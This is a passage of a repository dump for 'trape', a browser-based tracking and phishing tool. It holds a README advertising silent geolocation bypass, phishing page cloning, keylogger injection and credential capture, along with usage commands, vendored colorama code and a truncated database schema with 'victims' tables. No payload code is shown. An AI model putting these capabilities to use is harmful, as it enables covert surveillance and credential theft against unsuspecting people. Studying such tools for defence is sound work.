Showing preview only (414K chars total). Download the full file or copy to clipboard to get everything.
Repository: jofpin/trape
Branch: master
Commit: 6baae2456919
Files: 35
Total size: 399.2 KB
Directory structure:
gitextract_bk87sebk/
├── .gitignore
├── .travis.yml
├── README.md
├── core/
│ ├── __init__.py
│ ├── colorama/
│ │ ├── __init__.py
│ │ ├── ansi.py
│ │ ├── ansitowin32.py
│ │ ├── initialise.py
│ │ ├── win32.py
│ │ └── winterm.py
│ ├── db.py
│ ├── dependence/
│ │ ├── __init__.py
│ │ └── urllib2.py
│ ├── sockets.py
│ ├── stats.py
│ ├── trape.py
│ ├── user.py
│ ├── user_objects.py
│ └── utils.py
├── requirements.txt
├── static/
│ ├── css/
│ │ ├── base-icons.css
│ │ ├── services-icons.css
│ │ └── styles.css
│ └── js/
│ ├── base.js
│ ├── custom.js
│ ├── inject.js
│ ├── login.js
│ ├── payload.js
│ ├── trape.js
│ └── vscript.js
├── templates/
│ ├── 404.html
│ ├── home.html
│ └── login.html
├── trape.py
└── version.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
*.nlog
*.pyc
*.db
*.zip
ngrok*
static/files/*
build/*
dist/*
main.spec
trape.config
*.nlog
*.DS_Store
================================================
FILE: .travis.yml
================================================
language: python
python:
- 2.7
- 3.8
install: pip install flake8
script: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
================================================
FILE: README.md
================================================
trape (stable) v2.0
========
People tracker on the Internet: Learn to track the world, to avoid being traced.
---
Trape is an **OSINT** analysis and research tool, which allows people to track and execute intelligent **social engineering** attacks in real time. It was created with the aim of teaching the world how large Internet companies could obtain **confidential information** such as the status of sessions of their websites or services and control their users through their browser, without their knowledge, but It evolves with the aim of helping **government** organizations, companies and **researchers** to track the cybercriminals.

At the beginning of the year 2018 was presented at **BlackHat Arsenal in Singapore**: https://www.blackhat.com/asia-18/arsenal.html#jose-pino and in multiple security events worldwide.
Some benefits
-----------
* **LOCATOR OPTIMIZATION:** Trace the path between you and the target you're tracking. Each time you make a move, the path will be updated, the location of the target is obtained silently through a bypass made in the browsers, allowing you to skip the location request on the victim's side, and at the same time maintain a precision of **99%** in the locator.

* **APPROACH:** When you're close to the target, Trape will tell you.

* **REST API:** Generates an API (random or custom), and through this you can control and monitor other Web sites on the Internet remotely, getting the traffic of all visitors.

* **PROCESS HOOKS:** Manages social engineering attacks or processes in the target's browser.
--- **SEVERAL:** You can issue a phishing attack of any domain or service in real time as well as send malicious files to compromise the device of a target.
--- **INJECT JS:** You keep the JavaScript code running free in real time, so you can manage the execution of a **keylogger** or your own custom functions in JS which will be reflected in the target's browser.
--- **SPEECH:** A process of audio creation is maintained which is played in the browser of the target, by means of this you can execute personalized messages in different voices with languages in Spanish and English.
* **PUBLIC NETWORK TUNNEL:** Trape has its own **API** that is linked to [ngrok.com](https://ngrok.com) to allow the automatic management of public network tunnels; So you can publish the content of your trape server which is executed locally to the Internet, to manage hooks or public attacks.

* **CLICK ATTACK TO GET CREDENTIALS:** Automatically obtains the target credentials, recognizing your connection availability on a social network or Internet service.

* **NETWORK:** You can get information about the user's network.
--- **SPEED:** Viewing the target's network speed. (Ping, download, upload, type connection)
--- **HOSTS OR DEVICES:** Here you can get a scan of all the devices that are connected in the target network automatically.

* **PROFILE:** Brief summary of the target's behavior and important additional information about your device.
--- **GPU**
--- **ENERGY**
30-session recognition
-------
Session recognition is one of trape most interesting attractions, since you as a researcher can know remotely what service the target is connected to.

* **USABILITY:** You can delete logs and view alerts for each process or action you run against each target.

How to use it
-------
First unload the tool.
```
git clone https://github.com/jofpin/trape.git
cd trape
python3 trape.py -h
```
If it does not work, try to install all the libraries that are located in the file **requirements.txt**
```
pip3 install -r requirements.txt
```
Example of execution
```
Example: python3 trape.py --url http://example.com --port 8080
```
If you face some problems installing the tool, it is probably due to Python versions conflicts, you should run a Python 2.7 environment :
```
pip3 install virtualenv
virtualenv -p /usr/bin/python3 trape_env
source trape_env/bin/activate
pip3 install -r requirements.txt
python3 trape.py -h
```
**HELP AND OPTIONS**
```
user:~$ python3 trape.py --help
usage: python3 trape.py -u <> -p <> [-h] [-v] [-u URL] [-p PORT]
[-ak ACCESSKEY] [-l LOCAL]
[--update] [-n] [-ic INJC]
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-u URL, --url URL Put the web page url to clone
-p PORT, --port PORT Insert your port
-ak ACCESSKEY, --accesskey ACCESSKEY
Insert your custom key access
-l LOCAL, --local LOCAL
Insert your home file
-n, --ngrok Insert your ngrok Authtoken
-ic INJC, --injectcode INJC
Insert your custom REST API path
-ud UPDATE, --update UPDATE
Update trape to the latest version
```
**--url** In this option you add the URL you want to clone, which works as a decoy.
**--port** Here you insert the port, where you are going to run the **trape server**.
**--accesskey** You enter a custom key for the **trape panel**, if you do not insert it will generate an **automatic key**.
**--injectcode** trape contains a **REST API** to play anywhere, using this option you can customize the name of the file to include, if it does not, generates a random name allusive to a token.
**--local** Using this option you can call a local **HTML file**, this is the replacement of the **--url** option made to run a local lure in trape.
**--ngrok** In this option you can enter a token, to run at the time of a process. This would replace the token saved in configurations.
**--version** You can see the version number of trape.
**--update** Option used to upgrade to the latest version of **trape**.
**--help** It is used to see all the above options, from the executable.
Disclaimer
-------
This tool has been published educational purposes. It is intended to teach people how bad guys could track them, monitor them or obtain information from their credentials, we are not responsible for the use or the scope that someone may have through this project.
We are totally convinced that if we teach how vulnerable things really are, we can make the Internet a safer place.
Developer
-------
This development and others, the participants will be mentioned with name, Twitter and charge.
* **CREATOR**
--- Jose Pino - [@jofpin](https://twitter.com/jofpin) - (**Security Researcher**)
Happy hacking!
-------
I invite you, if you use this tool helps to share, collaborate. Let's make the Internet a safer place, let's report.
## License
The content of this project itself is licensed under the [Creative Commons Attribution 3.0 license](http://creativecommons.org/licenses/by/3.0/us/deed.en_US), and the underlying source code used to format and display that content is licensed under the [MIT license](http://opensource.org/licenses/mit-license.php).
Copyright, 2018 by [Jose Pino](https://twitter.com/jofpin)
-------------
================================================
FILE: core/__init__.py
================================================
pass
================================================
FILE: core/colorama/__init__.py
================================================
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
from .initialise import init, deinit, reinit, colorama_text
from .ansi import Fore, Back, Style, Cursor
from .ansitowin32 import AnsiToWin32
__version__ = '0.3.7'
================================================
FILE: core/colorama/ansi.py
================================================
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
'''
This module generates ANSI character codes to printing colors to terminals.
See: http://en.wikipedia.org/wiki/ANSI_escape_code
'''
CSI = '\033['
OSC = '\033]'
BEL = '\007'
def code_to_chars(code):
return CSI + str(code) + 'm'
def set_title(title):
return OSC + '2;' + title + BEL
def clear_screen(mode=2):
return CSI + str(mode) + 'J'
def clear_line(mode=2):
return CSI + str(mode) + 'K'
class AnsiCodes(object):
def __init__(self):
# the subclasses declare class attributes which are numbers.
# Upon instantiation we define instance attributes, which are the same
# as the class attributes but wrapped with the ANSI escape sequence
for name in dir(self):
if not name.startswith('_'):
value = getattr(self, name)
setattr(self, name, code_to_chars(value))
class AnsiCursor(object):
def UP(self, n=1):
return CSI + str(n) + 'A'
def DOWN(self, n=1):
return CSI + str(n) + 'B'
def FORWARD(self, n=1):
return CSI + str(n) + 'C'
def BACK(self, n=1):
return CSI + str(n) + 'D'
def POS(self, x=1, y=1):
return CSI + str(y) + ';' + str(x) + 'H'
class AnsiFore(AnsiCodes):
BLACK = 30
RED = 31
GREEN = 32
YELLOW = 33
BLUE = 34
MAGENTA = 35
CYAN = 36
WHITE = 37
RESET = 39
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = 90
LIGHTRED_EX = 91
LIGHTGREEN_EX = 92
LIGHTYELLOW_EX = 93
LIGHTBLUE_EX = 94
LIGHTMAGENTA_EX = 95
LIGHTCYAN_EX = 96
LIGHTWHITE_EX = 97
class AnsiBack(AnsiCodes):
BLACK = 40
RED = 41
GREEN = 42
YELLOW = 43
BLUE = 44
MAGENTA = 45
CYAN = 46
WHITE = 47
RESET = 49
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = 100
LIGHTRED_EX = 101
LIGHTGREEN_EX = 102
LIGHTYELLOW_EX = 103
LIGHTBLUE_EX = 104
LIGHTMAGENTA_EX = 105
LIGHTCYAN_EX = 106
LIGHTWHITE_EX = 107
class AnsiStyle(AnsiCodes):
BRIGHT = 1
DIM = 2
NORMAL = 22
RESET_ALL = 0
Fore = AnsiFore()
Back = AnsiBack()
Style = AnsiStyle()
Cursor = AnsiCursor()
================================================
FILE: core/colorama/ansitowin32.py
================================================
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
import re
import sys
import os
from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style
from .winterm import WinTerm, WinColor, WinStyle
from .win32 import windll, winapi_test
winterm = None
if windll is not None:
winterm = WinTerm()
def is_stream_closed(stream):
return not hasattr(stream, 'closed') or stream.closed
def is_a_tty(stream):
return hasattr(stream, 'isatty') and stream.isatty()
class StreamWrapper(object):
'''
Wraps a stream (such as stdout), acting as a transparent proxy for all
attribute access apart from method 'write()', which is delegated to our
Converter instance.
'''
def __init__(self, wrapped, converter):
# double-underscore everything to prevent clashes with names of
# attributes on the wrapped stream object.
self.__wrapped = wrapped
self.__convertor = converter
def __getattr__(self, name):
return getattr(self.__wrapped, name)
def write(self, text):
self.__convertor.write(text)
class AnsiToWin32(object):
'''
Implements a 'write()' method which, on Windows, will strip ANSI character
sequences from the text, and if outputting to a tty, will convert them into
win32 function calls.
'''
ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer
ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command
def __init__(self, wrapped, convert=None, strip=None, autoreset=False):
# The wrapped stream (normally sys.stdout or sys.stderr)
self.wrapped = wrapped
# should we reset colors to defaults after every .write()
self.autoreset = autoreset
# create the proxy wrapping our output stream
self.stream = StreamWrapper(wrapped, self)
on_windows = os.name == 'nt'
# We test if the WinAPI works, because even if we are on Windows
# we may be using a terminal that doesn't support the WinAPI
# (e.g. Cygwin Terminal). In this case it's up to the terminal
# to support the ANSI codes.
conversion_supported = on_windows and winapi_test()
# should we strip ANSI sequences from our output?
if strip is None:
strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped))
self.strip = strip
# should we should convert ANSI sequences into win32 calls?
if convert is None:
convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped)
self.convert = convert
# dict of ansi codes to win32 functions and parameters
self.win32_calls = self.get_win32_calls()
# are we wrapping stderr?
self.on_stderr = self.wrapped is sys.stderr
def should_wrap(self):
'''
True if this class is actually needed. If false, then the output
stream will not be affected, nor will win32 calls be issued, so
wrapping stdout is not actually required. This will generally be
False on non-Windows platforms, unless optional functionality like
autoreset has been requested using kwargs to init()
'''
return self.convert or self.strip or self.autoreset
def get_win32_calls(self):
if self.convert and winterm:
return {
AnsiStyle.RESET_ALL: (winterm.reset_all, ),
AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT),
AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL),
AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL),
AnsiFore.BLACK: (winterm.fore, WinColor.BLACK),
AnsiFore.RED: (winterm.fore, WinColor.RED),
AnsiFore.GREEN: (winterm.fore, WinColor.GREEN),
AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW),
AnsiFore.BLUE: (winterm.fore, WinColor.BLUE),
AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA),
AnsiFore.CYAN: (winterm.fore, WinColor.CYAN),
AnsiFore.WHITE: (winterm.fore, WinColor.GREY),
AnsiFore.RESET: (winterm.fore, ),
AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True),
AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True),
AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True),
AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True),
AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True),
AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True),
AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True),
AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True),
AnsiBack.BLACK: (winterm.back, WinColor.BLACK),
AnsiBack.RED: (winterm.back, WinColor.RED),
AnsiBack.GREEN: (winterm.back, WinColor.GREEN),
AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW),
AnsiBack.BLUE: (winterm.back, WinColor.BLUE),
AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA),
AnsiBack.CYAN: (winterm.back, WinColor.CYAN),
AnsiBack.WHITE: (winterm.back, WinColor.GREY),
AnsiBack.RESET: (winterm.back, ),
AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True),
AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True),
AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True),
AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True),
AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True),
AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True),
AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True),
AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True),
}
return dict()
def write(self, text):
if self.strip or self.convert:
self.write_and_convert(text)
else:
self.wrapped.write(text)
self.wrapped.flush()
if self.autoreset:
self.reset_all()
def reset_all(self):
if self.convert:
self.call_win32('m', (0,))
elif not self.strip and not is_stream_closed(self.wrapped):
self.wrapped.write(Style.RESET_ALL)
def write_and_convert(self, text):
'''
Write the given text to our wrapped stream, stripping any ANSI
sequences from the text, and optionally converting them into win32
calls.
'''
cursor = 0
text = self.convert_osc(text)
for match in self.ANSI_CSI_RE.finditer(text):
start, end = match.span()
self.write_plain_text(text, cursor, start)
self.convert_ansi(*match.groups())
cursor = end
self.write_plain_text(text, cursor, len(text))
def write_plain_text(self, text, start, end):
if start < end:
self.wrapped.write(text[start:end])
self.wrapped.flush()
def convert_ansi(self, paramstring, command):
if self.convert:
params = self.extract_params(command, paramstring)
self.call_win32(command, params)
def extract_params(self, command, paramstring):
if command in 'Hf':
params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';'))
while len(params) < 2:
# defaults:
params = params + (1,)
else:
params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0)
if len(params) == 0:
# defaults:
if command in 'JKm':
params = (0,)
elif command in 'ABCD':
params = (1,)
return params
def call_win32(self, command, params):
if command == 'm':
for param in params:
if param in self.win32_calls:
func_args = self.win32_calls[param]
func = func_args[0]
args = func_args[1:]
kwargs = dict(on_stderr=self.on_stderr)
func(*args, **kwargs)
elif command in 'J':
winterm.erase_screen(params[0], on_stderr=self.on_stderr)
elif command in 'K':
winterm.erase_line(params[0], on_stderr=self.on_stderr)
elif command in 'Hf': # cursor position - absolute
winterm.set_cursor_position(params, on_stderr=self.on_stderr)
elif command in 'ABCD': # cursor position - relative
n = params[0]
# A - up, B - down, C - forward, D - back
x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command]
winterm.cursor_adjust(x, y, on_stderr=self.on_stderr)
def convert_osc(self, text):
for match in self.ANSI_OSC_RE.finditer(text):
start, end = match.span()
text = text[:start] + text[end:]
paramstring, command = match.groups()
if command in '\x07': # \x07 = BEL
params = paramstring.split(";")
# 0 - change title and icon (we will only change title)
# 1 - change icon (we don't support this)
# 2 - change title
if params[0] in '02':
winterm.set_title(params[1])
return text
================================================
FILE: core/colorama/initialise.py
================================================
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
import atexit
import contextlib
import sys
from .ansitowin32 import AnsiToWin32
orig_stdout = None
orig_stderr = None
wrapped_stdout = None
wrapped_stderr = None
atexit_done = False
def reset_all():
if AnsiToWin32 is not None: # Issue #74: objects might become None at exit
AnsiToWin32(orig_stdout).reset_all()
def init(autoreset=False, convert=None, strip=None, wrap=True):
if not wrap and any([autoreset, convert, strip]):
raise ValueError('wrap=False conflicts with any other arg=True')
global wrapped_stdout, wrapped_stderr
global orig_stdout, orig_stderr
orig_stdout = sys.stdout
orig_stderr = sys.stderr
if sys.stdout is None:
wrapped_stdout = None
else:
sys.stdout = wrapped_stdout = \
wrap_stream(orig_stdout, convert, strip, autoreset, wrap)
if sys.stderr is None:
wrapped_stderr = None
else:
sys.stderr = wrapped_stderr = \
wrap_stream(orig_stderr, convert, strip, autoreset, wrap)
global atexit_done
if not atexit_done:
atexit.register(reset_all)
atexit_done = True
def deinit():
if orig_stdout is not None:
sys.stdout = orig_stdout
if orig_stderr is not None:
sys.stderr = orig_stderr
@contextlib.contextmanager
def colorama_text(*args, **kwargs):
init(*args, **kwargs)
try:
yield
finally:
deinit()
def reinit():
if wrapped_stdout is not None:
sys.stdout = wrapped_stdout
if wrapped_stderr is not None:
sys.stderr = wrapped_stderr
def wrap_stream(stream, convert, strip, autoreset, wrap):
if wrap:
wrapper = AnsiToWin32(stream,
convert=convert, strip=strip, autoreset=autoreset)
if wrapper.should_wrap():
stream = wrapper.stream
return stream
================================================
FILE: core/colorama/win32.py
================================================
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
# from winbase.h
STDOUT = -11
STDERR = -12
try:
import ctypes
from ctypes import LibraryLoader
windll = LibraryLoader(ctypes.WinDLL)
from ctypes import wintypes
except (AttributeError, ImportError):
windll = None
SetConsoleTextAttribute = lambda *_: None
winapi_test = lambda *_: None
else:
from ctypes import byref, Structure, c_char, POINTER
COORD = wintypes._COORD
class CONSOLE_SCREEN_BUFFER_INFO(Structure):
"""struct in wincon.h."""
_fields_ = [
("dwSize", COORD),
("dwCursorPosition", COORD),
("wAttributes", wintypes.WORD),
("srWindow", wintypes.SMALL_RECT),
("dwMaximumWindowSize", COORD),
]
def __str__(self):
return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % (
self.dwSize.Y, self.dwSize.X
, self.dwCursorPosition.Y, self.dwCursorPosition.X
, self.wAttributes
, self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right
, self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X
)
_GetStdHandle = windll.kernel32.GetStdHandle
_GetStdHandle.argtypes = [
wintypes.DWORD,
]
_GetStdHandle.restype = wintypes.HANDLE
_GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo
_GetConsoleScreenBufferInfo.argtypes = [
wintypes.HANDLE,
POINTER(CONSOLE_SCREEN_BUFFER_INFO),
]
_GetConsoleScreenBufferInfo.restype = wintypes.BOOL
_SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute
_SetConsoleTextAttribute.argtypes = [
wintypes.HANDLE,
wintypes.WORD,
]
_SetConsoleTextAttribute.restype = wintypes.BOOL
_SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition
_SetConsoleCursorPosition.argtypes = [
wintypes.HANDLE,
COORD,
]
_SetConsoleCursorPosition.restype = wintypes.BOOL
_FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA
_FillConsoleOutputCharacterA.argtypes = [
wintypes.HANDLE,
c_char,
wintypes.DWORD,
COORD,
POINTER(wintypes.DWORD),
]
_FillConsoleOutputCharacterA.restype = wintypes.BOOL
_FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute
_FillConsoleOutputAttribute.argtypes = [
wintypes.HANDLE,
wintypes.WORD,
wintypes.DWORD,
COORD,
POINTER(wintypes.DWORD),
]
_FillConsoleOutputAttribute.restype = wintypes.BOOL
_SetConsoleTitleW = windll.kernel32.SetConsoleTitleA
_SetConsoleTitleW.argtypes = [
wintypes.LPCSTR
]
_SetConsoleTitleW.restype = wintypes.BOOL
handles = {
STDOUT: _GetStdHandle(STDOUT),
STDERR: _GetStdHandle(STDERR),
}
def winapi_test():
handle = handles[STDOUT]
csbi = CONSOLE_SCREEN_BUFFER_INFO()
success = _GetConsoleScreenBufferInfo(
handle, byref(csbi))
return bool(success)
def GetConsoleScreenBufferInfo(stream_id=STDOUT):
handle = handles[stream_id]
csbi = CONSOLE_SCREEN_BUFFER_INFO()
success = _GetConsoleScreenBufferInfo(
handle, byref(csbi))
return csbi
def SetConsoleTextAttribute(stream_id, attrs):
handle = handles[stream_id]
return _SetConsoleTextAttribute(handle, attrs)
def SetConsoleCursorPosition(stream_id, position, adjust=True):
position = COORD(*position)
# If the position is out of range, do nothing.
if position.Y <= 0 or position.X <= 0:
return
# Adjust for Windows' SetConsoleCursorPosition:
# 1. being 0-based, while ANSI is 1-based.
# 2. expecting (x,y), while ANSI uses (y,x).
adjusted_position = COORD(position.Y - 1, position.X - 1)
if adjust:
# Adjust for viewport's scroll position
sr = GetConsoleScreenBufferInfo(STDOUT).srWindow
adjusted_position.Y += sr.Top
adjusted_position.X += sr.Left
# Resume normal processing
handle = handles[stream_id]
return _SetConsoleCursorPosition(handle, adjusted_position)
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
success = _FillConsoleOutputCharacterA(
handle, char, length, start, byref(num_written))
return num_written.value
def FillConsoleOutputAttribute(stream_id, attr, length, start):
''' FillConsoleOutputAttribute( hConsole, csbi.wAttributes, dwConSize, coordScreen, &cCharsWritten )'''
handle = handles[stream_id]
attribute = wintypes.WORD(attr)
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
# Note that this is hard-coded for ANSI (vs wide) bytes.
return _FillConsoleOutputAttribute(
handle, attribute, length, start, byref(num_written))
def SetConsoleTitle(title):
return _SetConsoleTitleW(title)
================================================
FILE: core/colorama/winterm.py
================================================
# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
from . import win32
# from wincon.h
class WinColor(object):
BLACK = 0
BLUE = 1
GREEN = 2
CYAN = 3
RED = 4
MAGENTA = 5
YELLOW = 6
GREY = 7
# from wincon.h
class WinStyle(object):
NORMAL = 0x00 # dim text, dim background
BRIGHT = 0x08 # bright text, dim background
BRIGHT_BACKGROUND = 0x80 # dim text, bright background
class WinTerm(object):
def __init__(self):
self._default = win32.GetConsoleScreenBufferInfo(win32.STDOUT).wAttributes
self.set_attrs(self._default)
self._default_fore = self._fore
self._default_back = self._back
self._default_style = self._style
# In order to emulate LIGHT_EX in windows, we borrow the BRIGHT style.
# So that LIGHT_EX colors and BRIGHT style do not clobber each other,
# we track them separately, since LIGHT_EX is overwritten by Fore/Back
# and BRIGHT is overwritten by Style codes.
self._light = 0
def get_attrs(self):
return self._fore + self._back * 16 + (self._style | self._light)
def set_attrs(self, value):
self._fore = value & 7
self._back = (value >> 4) & 7
self._style = value & (WinStyle.BRIGHT | WinStyle.BRIGHT_BACKGROUND)
def reset_all(self, on_stderr=None):
self.set_attrs(self._default)
self.set_console(attrs=self._default)
def fore(self, fore=None, light=False, on_stderr=False):
if fore is None:
fore = self._default_fore
self._fore = fore
# Emulate LIGHT_EX with BRIGHT Style
if light:
self._light |= WinStyle.BRIGHT
else:
self._light &= ~WinStyle.BRIGHT
self.set_console(on_stderr=on_stderr)
def back(self, back=None, light=False, on_stderr=False):
if back is None:
back = self._default_back
self._back = back
# Emulate LIGHT_EX with BRIGHT_BACKGROUND Style
if light:
self._light |= WinStyle.BRIGHT_BACKGROUND
else:
self._light &= ~WinStyle.BRIGHT_BACKGROUND
self.set_console(on_stderr=on_stderr)
def style(self, style=None, on_stderr=False):
if style is None:
style = self._default_style
self._style = style
self.set_console(on_stderr=on_stderr)
def set_console(self, attrs=None, on_stderr=False):
if attrs is None:
attrs = self.get_attrs()
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
win32.SetConsoleTextAttribute(handle, attrs)
def get_position(self, handle):
position = win32.GetConsoleScreenBufferInfo(handle).dwCursorPosition
# Because Windows coordinates are 0-based,
# and win32.SetConsoleCursorPosition expects 1-based.
position.X += 1
position.Y += 1
return position
def set_cursor_position(self, position=None, on_stderr=False):
if position is None:
# I'm not currently tracking the position, so there is no default.
# position = self.get_position()
return
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
win32.SetConsoleCursorPosition(handle, position)
def cursor_adjust(self, x, y, on_stderr=False):
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
position = self.get_position(handle)
adjusted_position = (position.Y + y, position.X + x)
win32.SetConsoleCursorPosition(handle, adjusted_position, adjust=False)
def erase_screen(self, mode=0, on_stderr=False):
# 0 should clear from the cursor to the end of the screen.
# 1 should clear from the cursor to the beginning of the screen.
# 2 should clear the entire screen, and move cursor to (1,1)
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
csbi = win32.GetConsoleScreenBufferInfo(handle)
# get the number of character cells in the current buffer
cells_in_screen = csbi.dwSize.X * csbi.dwSize.Y
# get number of character cells before current cursor position
cells_before_cursor = csbi.dwSize.X * csbi.dwCursorPosition.Y + csbi.dwCursorPosition.X
if mode == 0:
from_coord = csbi.dwCursorPosition
cells_to_erase = cells_in_screen - cells_before_cursor
if mode == 1:
from_coord = win32.COORD(0, 0)
cells_to_erase = cells_before_cursor
elif mode == 2:
from_coord = win32.COORD(0, 0)
cells_to_erase = cells_in_screen
# fill the entire screen with blanks
win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)
# now set the buffer's attributes accordingly
win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)
if mode == 2:
# put the cursor where needed
win32.SetConsoleCursorPosition(handle, (1, 1))
def erase_line(self, mode=0, on_stderr=False):
# 0 should clear from the cursor to the end of the line.
# 1 should clear from the cursor to the beginning of the line.
# 2 should clear the entire line.
handle = win32.STDOUT
if on_stderr:
handle = win32.STDERR
csbi = win32.GetConsoleScreenBufferInfo(handle)
if mode == 0:
from_coord = csbi.dwCursorPosition
cells_to_erase = csbi.dwSize.X - csbi.dwCursorPosition.X
if mode == 1:
from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)
cells_to_erase = csbi.dwCursorPosition.X
elif mode == 2:
from_coord = win32.COORD(0, csbi.dwCursorPosition.Y)
cells_to_erase = csbi.dwSize.X
# fill the entire screen with blanks
win32.FillConsoleOutputCharacter(handle, ' ', cells_to_erase, from_coord)
# now set the buffer's attributes accordingly
win32.FillConsoleOutputAttribute(handle, self.get_attrs(), cells_to_erase, from_coord)
def set_title(self, title):
win32.SetConsoleTitle(title)
================================================
FILE: core/db.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# **
#
#########
# trape #
#########
#
# trape depends of this file
# For full copyright information this visit: https://github.com/jofpin/trape
#
# Copyright 2018 by Jose Pino (@jofpin) / <jofpin@gmail.com>
# **
import sqlite3
import os.path as path
class Database(object):
def __init__(self):
self.firstTime = not(path.exists("database.db"))
self.conn = sqlite3.connect("database.db", check_same_thread=False)
self.cursor = self.conn.cursor()
def loadDatabase(self):
self.cursor.execute("""CREATE TABLE IF NOT EXISTS "geo" ( `id` TEXT, `city` TEXT, `country_code` TEXT, `country_name` TEXT, `ip` TEXT, `latitude` TEXT, `longitude` TEXT, `metro_code` TEXT, `region_code` TEXT, `region_name` TEXT, `time_zone` TEXT, `zip_code` TEXT, `isp` TEXT, `ua` TEXT, `connection` TEXT, `latitude_browser` TEXT, `longitude_browser` TEXT, `refer` TEXT, PRIMARY KEY(`id`) )""")
self.cursor.execute(
"""CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""")
self.cursor.execute(
"""CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""")
self.cursor.execute(
"""CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""")
self.cursor.execute(
"""CREATE TABLE IF NOT EXISTS "victims_data" ( `id` TEXT, `name` TEXT, `last_online` date, `gpu` TEXT, `donottrack` TEXT, `navigation_mode` TEXT)""")
self.cursor.execute(
"""CREATE TABLE IF NOT EXISTS "victims_battery" ( `id` TEXT, `charging` TEXT, `time_c` REAL, `time_d` REAL, `level` REAL)""")
self.cursor.execute(
"""CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""")
self.cursor.execute(
"""CREATE TABLE IF NOT EXISTS "hostsalive" ( `id` TEXT, `remote_ip` TEXT, `ping` TEXT, `date` TEXT )""")
self.conn.commit()
return True
def sql_execute(self, sentence):
if type(sentence) is str:
self.cursor.execute(sentence)
else:
self.cursor.execute(sentence[0], sentence[1])
return self.cursor.fetchall()
def sql_one_row(self, sentence, column):
if type(sentence) is str:
self.cursor.execute(sentence)
else:
self.cursor.execute(sentence[0], sentence[1])
return self.cursor.fetchone()[column]
def sql_insert(self, sentence):
if type(sentence) is str:
self.cursor.execute(sentence)
else:
self.cursor.execute(sentence[0], sentence[1])
self.conn.commit()
return True
def prop_sentences_stats(self, type, vId=None):
return {
